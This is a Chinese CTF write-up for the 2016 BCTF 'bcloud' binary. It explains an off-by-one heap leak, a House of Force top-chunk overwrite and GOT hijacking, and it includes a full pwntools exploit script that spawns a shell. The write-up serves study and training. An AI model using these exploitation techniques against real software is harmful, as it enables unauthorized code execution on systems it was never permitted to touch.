2016 bctf bcloud 下载:

https://pan.baidu.com/s/1e-fvhaOJKzBQMxlrweLznw

提取码:ded5

放入ida中首先定位到 main()->init()->set_name()

unsigned int set_name()
{
char name; // [esp+1Ch] [ebp-5Ch] <--注意这里,name如果发生溢出,会将*p覆盖
char *p; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
memset(&name, 0, 0x50u);
puts("Input your name:");
getSrt((int)&name, 0x40, 10); //仔细看这个函数
p = (char *)malloc(0x40u);
bss_name = (int)p;
strcpy(p, &name);
hello((int)p);
return __readgsdword(0x14u) ^ v3;
} int __cdecl getSrt(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh]
int i; // [esp+1Ch] [ebp-Ch] for ( i = 0; i < a2; ++i ) //如果字符串的长度正好是a2
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
a1[i] = buf;
}
a1[a2] = 0; //如果上面的for没有提前退出,那么这里溢出了1个字节
return i;
} int __cdecl hello(int a1)
{
printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
return puts("Now let's set synchronization options.");
}

name在栈中的大小是0x40 如果我们输入的正好是 'a'*0x40 那么 *p 就会被覆盖为0

然后malloc后,p 又被改成地址,因为是第一次malloc ,所以p-8就是堆的地址

现在从name到v3(canary)之间是没有\0来结束字符串的

而strcpy这个危险函数如果没有\0作字符串结尾是不会停止复制字符串的

这样,p 就会被复制进name中,通过hello函数我们就能leak出heap的地址

同样的:

unsigned int set_org_host()
{
char org; // [esp+1Ch] [ebp-9Ch]
char *p_org; // [esp+5Ch] [ebp-5Ch]
char host; // [esp+60h] [ebp-58h]
char *p_host; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch] v5 = __readgsdword(0x14u);
memset(&org, 0, 0x90u);
puts("Org:");
getSrt((int)&org, 64, 10);
puts("Host:");
getSrt((int)&host, 64, 10);
p_host = (char *)malloc(0x40u);
p_org = (char *)malloc(0x40u);
bss_org = (int)p_org;
bss_host = (int)p_host;
strcpy(p_host, (const char *)&host);
strcpy(p_org, &org);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}

在这个函数中,org 指向申请的最后一个chunk

如果我们把org的内存写满,在这个函数最后一个strcpy时,*p_org就会覆盖top_chunk->prev_size位

还没有结束,p_org这个地址也没有\x00,继续覆盖,host就会覆盖top_chunk_size位

这时,我们发现一个可以改top_chunk大小的漏洞

然后,继续读代码:

int new()
{
int result; // eax
signed int i; // [esp+18h] [ebp-10h]
int v2; // [esp+1Ch] [ebp-Ch] for ( i = 0; i <= 9 && note[i]; ++i )
;
if ( i == 10 )
return puts("Lack of space. Upgrade your account with just $100 :)");
puts("Input the length of the note content:");
v2 = get_num();
note[i] = (int)malloc(v2 + 4);
if ( !note[i] )
exit(-1);
list_len[i] = v2;
puts("Input the content:");
getSrt(note[i], v2, 10);
printf("Create success, the id is %d\n", i);
result = i;
dword_804B0E0[i] = 0;
return result;
}

我们可以控制申请内存的大小,而且还可以写这块内存

联系上面我们改的top_chunk ,可以通过house of force 这种方式实现任意地址写

程序运行时菜单如下:

1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>

程序中没有办法打印出我们内存中的内容,因为 2 这个选项是开玩笑的 5 这个选项也没什么用

因为我们可以任意写,所以把free函数改成printf 就可以打印出内存中的内容了

看一下第三个选项:

int edit()
{
int v1; // ST1C_4
int v2; // [esp+14h] [ebp-14h]
int v3; // [esp+18h] [ebp-10h] puts("Input the id:");
v2 = get_num();
if ( v2 < 0 || v2 > 9 )
return puts("Invalid ID.");
v3 = note[v2];
if ( !v3 )
return puts("Note has been deleted.");
v1 = list_len[v2];
dword_804B0E0[v2] = 0;
puts("Input the new content:");
getSrt(v3, v1, 10);
return puts("Edit success.");
}

利用这个函数,我们可以更加轻易的改写任意位置的内存了

利用步骤如下:

  • 1.通过名字leak堆地址

  • 2.通过host and org 改大top_chunk->size

  • 3.移动top_chunk

    • 让再申请的内存在覆盖到bss段中 list_len 和noet位置的内存
    • 让noet指向函数的got表
  • 4.把free改成printf

  • 5.利用 假free 函数把atoi地址printf出来

  • 6.利用 atoi 得到system地址

  • 7.把atoi改成system

利用如下:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process('./bcloud')
elf=ELF('./bcloud')
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") context.terminal = ["tmux","splitw","-h"]
context.arch = "i386"
#context.log_level='debug'
#gdb.attach(p) #1.通过名字leak堆地址
p.recvline("Input your name:")
p.send('a'*0x3c+'zzzz') #足够0x40不要加\n
p.recvuntil('zzzz')
heap_addr=u32(p.recv(4))-8
success('1.heap addr = '+hex(heap_addr)) #2.通过host and org 改大top_chunk->size
p.recvuntil('Org:\n')
p.send('a'*0x40)
p.recvline('Host:')
p.sendline('\xff\xff\xff\xff')#不够0x40加\n def add(size,content):
p.sendline('1')
p.sendline(size)
p.sendline(content)
p.recvuntil("Create success")
p.recvline() # 3.移动top_chunk
list_len= 0x804B0A0
note=0x804B120
atoi=elf.got['atoi']
free=elf.got['free'] size=heap_addr+3*0x48-list_len+16
#堆地址+先前3个堆块-list_len==>再申请出来是list_len附近
#ps:为什么加16?
#改掉的当前chunk有8个非据区然后下一个chunk也有8个非数据区
add('-'+str(size),'junk') #当前操作是把top_chunk上移 #下一个chunk->fd将是list_len地址
size=note-list_len+4*10 #这个size可以改list_len及note
payload=p32(4)*3+p32(0)*29#这里为什么要p32(4)*3而不是*2呢?最后要用到最后一个地址,现在预留出来
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
add(str(size),payload) #id=1 #4.把free改成printf
printf=elf.plt['printf']#或者puts也可以
#程序第一次调用free got表没有free的真实地址
#程序会跳到对应的plt中去调用 _dl_runtime_resolve 函数去找
#把free对应的plt地址改成printf的地址
p.sendline('3')
p.sendline('1')
p.send(p32(printf))
p.recvuntil('Edit success.\n') #5.利用 假free 函数把atoi地址printf出来
p.sendline('4')
p.recvuntil('Input the id:\n')
p.sendline('0')
atoi_addr=u32(p.recv(4))
success('2.atoi addr = '+hex(atoi_addr))
p.recvuntil('Delete success.\n') #6.利用 atoi_addr 得到system地址
system = atoi_addr-libc.symbols['atoi']
system +=libc.symbols['system']
success('3.system addr = '+hex(system)) #7.把atoi改成system
p.sendline('3')
p.sendline('2')
p.send(p32(system))
p.recvuntil('option--->>\n')
p.recvuntil('option--->>\n') #8.get shell
p.sendline('/bin/sh\x00')
p.interactive()

House_of_Force-ctf-bcloud的更多相关文章

  1. 个人CTF资源聚合

    i春秋 幻泉 CTF入门课程笔记 视频地址 能力 思维能力 快速学习能力 技术能力 基础 编程基础 (c语言 汇编语言 脚本语言) 数学基础 (算法 密码学) 脑洞 (天马行空的想象推理) 体力耐力( ...

  2. 解决:Linux版百度云客户端 BCloud网络错误 问题

    国内很多云盘渐渐停止服务支持,如新浪.华为.115.360等... 强大的百度云,你会继续免费让大家使用吗? 今天在Linux上使用了liulang的BCloud百度云客户端,登陆之后不显示主页,什么 ...

  3. 暑假CTF训练一

    暑假CTF训练一 围在栅栏中的爱 题目: 最近一直在好奇一个问题,QWE到底等不等于ABC? -.- .. --.- .-.. .-- - ..-. -.-. --.- --. -. ... --- ...

  4. Sharif University CTF 2016 -- Login to System (PWN 200)

    EN: It's easy to find out where is the bug : .text:0000000000400DE4 ; void *start_routine(void *).te ...

  5. 入CTF坑必不可少的地方-保持更新

    0x00 前言 没有交易,没有买卖,没有排名,纯属分享:p 0x01 CTF介绍 CTF领域指南CTF介绍大全CTF赛事预告 0x02 CTF练习 BIN:reversingpwnableexploi ...

  6. v0lt CTF安全工具包

    0×00 v0lt v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具.实践任务可能会采用bash脚本来解决,但我认为Python更具有灵活性,这 ...

  7. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  8. Security Tools (Contain CTF tools)

    From now on I will start to have fun with CTF and other security games or challenges. And I am going ...

  9. 隐写-CTF中图片隐藏文件分离方法总结

    0x00 前言 在安全的大趋势下,信息安全越来越来受到国家和企业的重视,所以CTF比赛场次越来越多,而且比赛形式也不断的创新,题目也更加新颖有趣,对选手的综合信息安全能力有一个较好的考验,当然更好的是 ...

  10. 如何在CTF中当搅屎棍

    论如何在CTF比赛中搅屎 0×00 前言 不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目. 我很赞成phithon神的一句话,"比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉 ...

随机推荐

  1. 007-SaltStack之修改salt-minion id

    1. 需求背景 之前使用saltstack添加的主机默认使用了hostname作为salt-minion id,而主机名如果没有做规范和规划,是比较难区分属于什么业务或者机器的.我们需要修改salt- ...

  2. 摘抄 <关于 作为>

    出路在哪里?出路在于思路! 其实,没有钱.没有经验.没有阅历.没有社会关系,这些都不可怕.没有钱,可以通过辛勤劳动去赚:没有经验,可以通过实践操作去总结:没有阅历,可以一步一步去积累:没有社会关系,可 ...

  3. php正则表达式修饰符详解

    preg_match_all("/(.+)<\/form>/isU" , $string, $result); 这里/ 后面加了 3个修饰符 i 是 不区分大小写的匹配 ...

  4. Vue基础第四章 - v-bind指令

    1.v-bind指令介绍 在前端开发过程中最常做的事莫过于class类名的绑定与style内联样式的修改,Vue中使用v-bind指令来实现这两个需求,在第二章中给出过简单的示例,下面我们来看一下v- ...

  5. Web Service Demo

    有了Web Service的一些基础,具体如何实现,通过亲自写一个Demo来理解一下. 1.创建一个空的Web项目 2.在Web项目下ADD一个Web Service 3.在Web service中写 ...

  6. Java并发编程实战 第16章 Java内存模型

    什么是内存模型 JMM(Java内存模型)规定了JVM必须遵循一组最小保证,这组保证规定了对变量的写入操作在何时将对其他线程可见. JMM为程序中所有的操作定义了一个偏序关系,称为Happens-Be ...

  7. HDU - 4358 Boring counting (树上启发式合并/线段树合并)

    题目链接 题意:统计树上每个结点中恰好出现了k次的颜色数. dsu on tree/线段树合并裸题. 启发式合并1:(748ms) #include<bits/stdc++.h> usin ...

  8. Luogu P3886 [JLOI2009]神秘的生物 最小表示法,轮廓线DP,插头DP,动态规划

    亲手写掉的第一道最小表示法!哈哈哈太开心啦~ 不同于以往的几个插头\(dp\),这个题目的轮廓线是周围的一圈\(n\)个格子.而其所谓"插头"也变成了相邻格子的所属连通分量编号,并 ...

  9. 关于Vue 刷新页面

    前言 Vue 中是单页面,当然需要刷新数据咯 你一定遇到这样的需求::比如在删除或者增加一条记录的时候希望当前页面可以重新刷新或者 这个页面有个组件 ,但是这个组件里面的点击事件还是到当前页面 怎么就 ...

  10. Linux内核编程-0:来自内核的 HelloWorld

    Linux内核编程一直是我很想掌握的一个技能.如果问我为什么,我也说不上来. 也许是希望有一天自己的ID也出现在内核开发组的邮件列表里?或是内核发行文件的CREDITS文件上? 也许是吧.其实更多的, ...